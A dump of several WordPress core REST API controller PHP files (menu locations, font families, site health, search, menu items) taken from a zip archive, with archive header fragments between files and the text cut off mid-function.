rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $location ) ); } /** * Filters menu location data returned from the REST API. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $location The original location object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_menu_location', $response, $location, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param stdClass $location Menu location. * @return array Links for the given menu location. */ protected function prepare_links( $location ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); // Entity meta. $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $location->name ), ), 'collection' => array( 'href' => rest_url( $base ), ), ); $locations = get_nav_menu_locations(); $menu = $locations[ $location->name ] ?? 0; if ( $menu ) { $path = rest_get_route_for_term( $menu ); if ( $path ) { $url = rest_url( $path ); $links['https://api.w.org/menu'][] = array( 'href' => $url, 'embeddable' => true, ); } } return $links; } /** * Retrieves the menu location's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'menu-location', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'The description of the menu location.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'menu' => array( 'description' => __( 'The ID of the assigned menu.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } PK!%ۨEE*class-wp-rest-font-families-controller.phpnu[post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font families.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access this font family.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_font_family_settings( $value, $request ) { // Enforce JSON Schema validity for field before applying custom validation logic. $args = $this->get_endpoint_args_for_item_schema( $request->get_method() ); $validity = rest_validate_value_from_schema( $value, $args['font_family_settings'], 'font_family_settings' ); if ( is_wp_error( $validity ) ) { return $validity; } $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Parameter name: "font_family_settings". */ sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema()['properties']['font_family_settings']; $required = $schema['required']; if ( isset( $request['id'] ) ) { // Allow sending individual properties if we are updating an existing font family. unset( $schema['required'] ); // But don't allow updating the slug, since it is used as a unique identifier. if ( isset( $settings['slug'] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of parameter being updated: font_family_settings[slug]". */ sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ), array( 'status' => 400 ) ); } } // Check that the font face settings match the theme.json schema. $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */ sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font family settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @return array Decoded array of font family settings. */ public function sanitize_font_family_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_family_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Creates a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $settings = $request->get_param( 'font_family_settings' ); // Check that the font family slug is unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'name' => $settings['slug'], 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_family', /* translators: %s: Font family slug. */ sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ), array( 'status' => 400 ) ); } return parent::create_item( $request ); } /** * Deletes a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font families. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font family output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'font_faces', $fields ) ) { $data['font_faces'] = $this->get_font_face_ids( $item->ID ); } if ( rest_is_field_included( 'font_family_settings', $fields ) ) { $data['font_family_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font family data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font family post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'font_faces' => array( 'description' => __( 'The IDs of the child font faces in the font family.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), 'items' => array( 'type' => 'integer', ), ), // Font family settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_family_settings' => array( 'description' => __( 'font-face definition in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'name' => array( 'description' => __( 'Name of the font family preset, translatable.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'Kebab-case unique identifier for the font family preset.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_title', ), ), 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font family.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'name', 'slug', 'fontFamily' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font family collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font family controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_family_collection_params', $query_params ); } /** * Get the arguments used when creating or updating a font family. * * @since 6.5.0 * * @return array Font family create/edit arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data. // Font families don't currently support file uploads, but may accept preview files in the future. 'font_family_settings' => array( 'description' => __( 'font-family declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_font_family_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ), ), ); } return parent::get_endpoint_args_for_item_schema( $method ); } /** * Get the child font face post IDs. * * @since 6.5.0 * * @param int $font_family_id Font family post ID. * @return int[] Array of child font face post IDs. */ protected function get_font_face_ids( $font_family_id ) { $query = new WP_Query( array( 'fields' => 'ids', 'post_parent' => $font_family_id, 'post_type' => 'wp_font_face', 'posts_per_page' => 99, 'order' => 'ASC', 'orderby' => 'id', 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); return $query->posts; } /** * Prepares font family links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. $links = parent::prepare_links( $post ); return array( 'self' => $links['self'], 'collection' => $links['collection'], 'font_faces' => $this->prepare_font_face_links( $post->ID ), ); } /** * Prepares child font face links for the request. * * @param int $font_family_id Font family post ID. * @return array Links for the child font face posts. */ protected function prepare_font_face_links( $font_family_id ) { $font_face_ids = $this->get_font_face_ids( $font_family_id ); $links = array(); foreach ( $font_face_ids as $font_face_id ) { $links[] = array( 'embeddable' => true, 'href' => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ), ); } return $links; } /** * Prepares a single font family post for create or update. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_family_settings(). $settings = $request->get_param( 'font_family_settings' ); // This is an update and we merge with the existing font family. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $existing_settings = $this->get_settings_from_post( $existing_post ); $settings = array_merge( $existing_settings, $settings ); } $prepared_post->post_type = $this->post_type; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $settings['name']; $prepared_post->post_name = sanitize_title( $settings['slug'] ); // Remove duplicate information from settings. unset( $settings['name'] ); unset( $settings['slug'] ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Gets the font family's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font family post object. * @return array Font family settings array. */ protected function get_settings_from_post( $post ) { $settings_json = json_decode( $post->post_content, true ); // Default to empty strings if the settings are missing. return array( 'name' => isset( $post->post_title ) && $post->post_title ? $post->post_title : '', 'slug' => isset( $post->post_name ) && $post->post_name ? $post->post_name : '', 'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '', 'preview' => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '', ); } } PK!Tl&l&(class-wp-rest-site-health-controller.phpnu[namespace = 'wp-site-health/v1'; $this->rest_base = 'tests'; $this->site_health = $site_health; } /** * Registers API routes. * * @since 5.6.0 * @since 6.1.0 Adds page-cache async test. * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'background-updates' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_background_updates' ), 'permission_callback' => function () { return $this->validate_request_permission( 'background_updates' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'loopback-requests' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_loopback_requests' ), 'permission_callback' => function () { return $this->validate_request_permission( 'loopback_requests' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'https-status' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_https_status' ), 'permission_callback' => function () { return $this->validate_request_permission( 'https_status' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'dotorg-communication' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_dotorg_communication' ), 'permission_callback' => function () { return $this->validate_request_permission( 'dotorg_communication' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'authorization-header' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_authorization_header' ), 'permission_callback' => function () { return $this->validate_request_permission( 'authorization_header' ); }, ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s', 'directory-sizes' ), array( 'methods' => 'GET', 'callback' => array( $this, 'get_directory_sizes' ), 'permission_callback' => function () { return $this->validate_request_permission( 'directory_sizes' ) && ! is_multisite(); }, ) ); register_rest_route( $this->namespace, sprintf( '/%s/%s', $this->rest_base, 'page-cache' ), array( array( 'methods' => 'GET', 'callback' => array( $this, 'test_page_cache' ), 'permission_callback' => function () { return $this->validate_request_permission( 'page_cache' ); }, ), ) ); } /** * Validates if the current user can request this REST endpoint. * * @since 5.6.0 * * @param string $check The endpoint check being ran. * @return bool */ protected function validate_request_permission( $check ) { $default_capability = 'view_site_health_checks'; /** * Filters the capability needed to run a given Site Health check. * * @since 5.6.0 * * @param string $default_capability The default capability required for this check. * @param string $check The Site Health check being performed. */ $capability = apply_filters( "site_health_test_rest_capability_{$check}", $default_capability, $check ); return current_user_can( $capability ); } /** * Checks if background updates work as expected. * * @since 5.6.0 * * @return array */ public function test_background_updates() { $this->load_admin_textdomain(); return $this->site_health->get_test_background_updates(); } /** * Checks that the site can reach the WordPress.org API. * * @since 5.6.0 * * @return array */ public function test_dotorg_communication() { $this->load_admin_textdomain(); return $this->site_health->get_test_dotorg_communication(); } /** * Checks that loopbacks can be performed. * * @since 5.6.0 * * @return array */ public function test_loopback_requests() { $this->load_admin_textdomain(); return $this->site_health->get_test_loopback_requests(); } /** * Checks that the site's frontend can be accessed over HTTPS. * * @since 5.7.0 * * @return array */ public function test_https_status() { $this->load_admin_textdomain(); return $this->site_health->get_test_https_status(); } /** * Checks that the authorization header is valid. * * @since 5.6.0 * * @return array */ public function test_authorization_header() { $this->load_admin_textdomain(); return $this->site_health->get_test_authorization_header(); } /** * Checks that full page cache is active. * * @since 6.1.0 * * @return array The test result. */ public function test_page_cache() { $this->load_admin_textdomain(); return $this->site_health->get_test_page_cache(); } /** * Gets the current directory sizes for this install. * * @since 5.6.0 * * @return array|WP_Error */ public function get_directory_sizes() { if ( ! class_exists( 'WP_Debug_Data' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-debug-data.php'; } $this->load_admin_textdomain(); $sizes_data = WP_Debug_Data::get_sizes(); $all_sizes = array( 'raw' => 0 ); foreach ( $sizes_data as $name => $value ) { $name = sanitize_text_field( $name ); $data = array(); if ( isset( $value['size'] ) ) { if ( is_string( $value['size'] ) ) { $data['size'] = sanitize_text_field( $value['size'] ); } else { $data['size'] = (int) $value['size']; } } if ( isset( $value['debug'] ) ) { if ( is_string( $value['debug'] ) ) { $data['debug'] = sanitize_text_field( $value['debug'] ); } else { $data['debug'] = (int) $value['debug']; } } if ( ! empty( $value['raw'] ) ) { $data['raw'] = (int) $value['raw']; } $all_sizes[ $name ] = $data; } if ( isset( $all_sizes['total_size']['debug'] ) && 'not available' === $all_sizes['total_size']['debug'] ) { return new WP_Error( 'not_available', __( 'Directory sizes could not be returned.' ), array( 'status' => 500 ) ); } return $all_sizes; } /** * Loads the admin textdomain for Site Health tests. * * The {@see WP_Site_Health} class is defined in WP-Admin, while the REST API operates in a front-end context. * This means that the translations for Site Health won't be loaded by default in {@see load_default_textdomain()}. * * @since 5.6.0 */ protected function load_admin_textdomain() { // Accounts for inner REST API requests in the admin. if ( ! is_admin() ) { $locale = determine_locale(); load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo", $locale ); } } /** * Gets the schema for each site health test. * * @since 5.6.0 * * @return array The test schema. */ public function get_item_schema() { if ( $this->schema ) { return $this->schema; } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'wp-site-health-test', 'type' => 'object', 'properties' => array( 'test' => array( 'type' => 'string', 'description' => __( 'The name of the test being run.' ), 'readonly' => true, ), 'label' => array( 'type' => 'string', 'description' => __( 'A label describing the test.' ), 'readonly' => true, ), 'status' => array( 'type' => 'string', 'description' => __( 'The status of the test.' ), 'enum' => array( 'good', 'recommended', 'critical' ), 'readonly' => true, ), 'badge' => array( 'type' => 'object', 'description' => __( 'The category this test is grouped in.' ), 'properties' => array( 'label' => array( 'type' => 'string', 'readonly' => true, ), 'color' => array( 'type' => 'string', 'enum' => array( 'blue', 'orange', 'red', 'green', 'purple', 'gray' ), 'readonly' => true, ), ), 'readonly' => true, ), 'description' => array( 'type' => 'string', 'description' => __( 'A more descriptive explanation of what the test looks for, and why it is important for the user.' ), 'readonly' => true, ), 'actions' => array( 'type' => 'string', 'description' => __( 'HTML containing an action to direct the user to where they can resolve the issue.' ), 'readonly' => true, ), ), ); return $this->schema; } } PK!i,,#class-wp-rest-search-controller.phpnu[namespace = 'wp/v2'; $this->rest_base = 'search'; foreach ( $search_handlers as $search_handler ) { if ( ! $search_handler instanceof WP_REST_Search_Handler ) { _doing_it_wrong( __METHOD__, /* translators: %s: PHP class name. */ sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ), '5.0.0' ); continue; } $this->search_handlers[ $search_handler->get_type() ] = $search_handler; } } /** * Registers the routes for the search controller. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permission_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to search content. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has search access, WP_Error object otherwise. */ public function get_items_permission_check( $request ) { return true; } /** * Retrieves a collection of search results. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } $result = $handler->search_items( $request ); if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) { return new WP_Error( 'rest_search_handler_error', __( 'Internal search handler error.' ), array( 'status' => 500 ) ); } $ids = $result[ WP_REST_Search_Handler::RESULT_IDS ]; $is_head_request = $request->is_method( 'HEAD' ); if ( ! $is_head_request ) { $results = array(); foreach ( $ids as $id ) { $data = $this->prepare_item_for_response( $id, $request ); $results[] = $this->prepare_response_for_collection( $data ); } } $total = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ]; $page = (int) $request['page']; $per_page = (int) $request['per_page']; $max_pages = (int) ceil( $total / $per_page ); if ( $page > $max_pages && $total > 0 ) { return new WP_Error( 'rest_search_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $results ); $response->header( 'X-WP-Total', $total ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_link = add_query_arg( 'page', $page - 1, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_link = add_query_arg( 'page', $page + 1, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares a single search result for response. * * @since 5.0.0 * @since 5.6.0 The `$id` parameter can accept a string. * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support. * * @param int|string $item ID of the item to prepare. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $item_id = $item; $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return new WP_REST_Response(); } $fields = $this->get_fields_for_response( $request ); $data = $handler->prepare_item( $item_id, $fields ); $data = $this->add_additional_fields_to_object( $data, $request ); $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $handler->prepare_item_links( $item_id ); $links['collection'] = array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ); $response->add_links( $links ); } return $response; } /** * Retrieves the item schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'search-result', 'type' => 'object', 'properties' => array( self::PROP_ID => array( 'description' => __( 'Unique identifier for the object.' ), 'type' => array( 'integer', 'string' ), 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TITLE => array( 'description' => __( 'The title for the object.' ), 'type' => 'string', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_URL => array( 'description' => __( 'URL to the object.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TYPE => array( 'description' => __( 'Object type.' ), 'type' => 'string', 'enum' => $types, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_SUBTYPE => array( 'description' => __( 'Object subtype.' ), 'type' => 'string', 'enum' => $subtypes, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the search results collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params[ self::PROP_TYPE ] = array( 'default' => $types[0], 'description' => __( 'Limit results to items of an object type.' ), 'type' => 'string', 'enum' => $types, ); $query_params[ self::PROP_SUBTYPE ] = array( 'default' => self::TYPE_ANY, 'description' => __( 'Limit results to items of one or more object subtypes.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_subtypes' ), ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); return $query_params; } /** * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included. * * @since 5.0.0 * * @param string|array $subtypes One or more subtypes. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Parameter name. * @return string[]|WP_Error List of valid subtypes, or WP_Error object on failure. */ public function sanitize_subtypes( $subtypes, $request, $parameter ) { $subtypes = wp_parse_slug_list( $subtypes ); $subtypes = rest_parse_request_arg( $subtypes, $request, $parameter ); if ( is_wp_error( $subtypes ) ) { return $subtypes; } // 'any' overrides any other subtype. if ( in_array( self::TYPE_ANY, $subtypes, true ) ) { return array( self::TYPE_ANY ); } $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } return array_intersect( $subtypes, $handler->get_subtypes() ); } /** * Gets the search handler to handle the current request. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure. */ protected function get_search_handler( $request ) { $type = $request->get_param( self::PROP_TYPE ); if ( ! $type || ! is_string( $type ) || ! isset( $this->search_handlers[ $type ] ) ) { return new WP_Error( 'rest_search_invalid_type', __( 'Invalid type parameter.' ), array( 'status' => 400 ) ); } return $this->search_handlers[ $type ]; } } PK!'class-wp-rest-menu-items-controller.phpnu[get_post( $id ); if ( is_wp_error( $post ) ) { return $post; } return wp_setup_nav_menu_item( $post ); } /** * Checks if a given request has access to read menu items. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $has_permission = parent::get_items_permissions_check( $request ); if ( true !== $has_permission ) { return $has_permission; } return $this->check_has_read_only_access( $request ); } /** * Checks if a given request has access to read a menu item if they have access to edit them. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise. */ public function get_item_permissions_check( $request ) { $permission_check = parent::get_item_permissions_check( $request ); if ( true !== $permission_check ) { return $permission_check; } return $this->check_has_read_only_access( $request ); } /** * Checks whether the current user has read permission for the endpoint. * * This allows for any user that can `edit_theme_options` or edit any REST API available post type. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ protected function check_has_read_only_access( $request ) { /** * Filters whether the current user has read access to menu items via the REST API. * * @since 6.8.0 * * @param bool $read_only_access Whether the current user has read access to menu items * via the REST API. * @param WP_REST_Request $request Full details about the request. * @param WP_REST_Controller $controller The current instance of the controller. */ $read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this ); if ( $read_only_access ) { return true; } if ( current_user_can( 'edit_theme_options' ) ) { return true; } if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view menu items.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Creates a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = 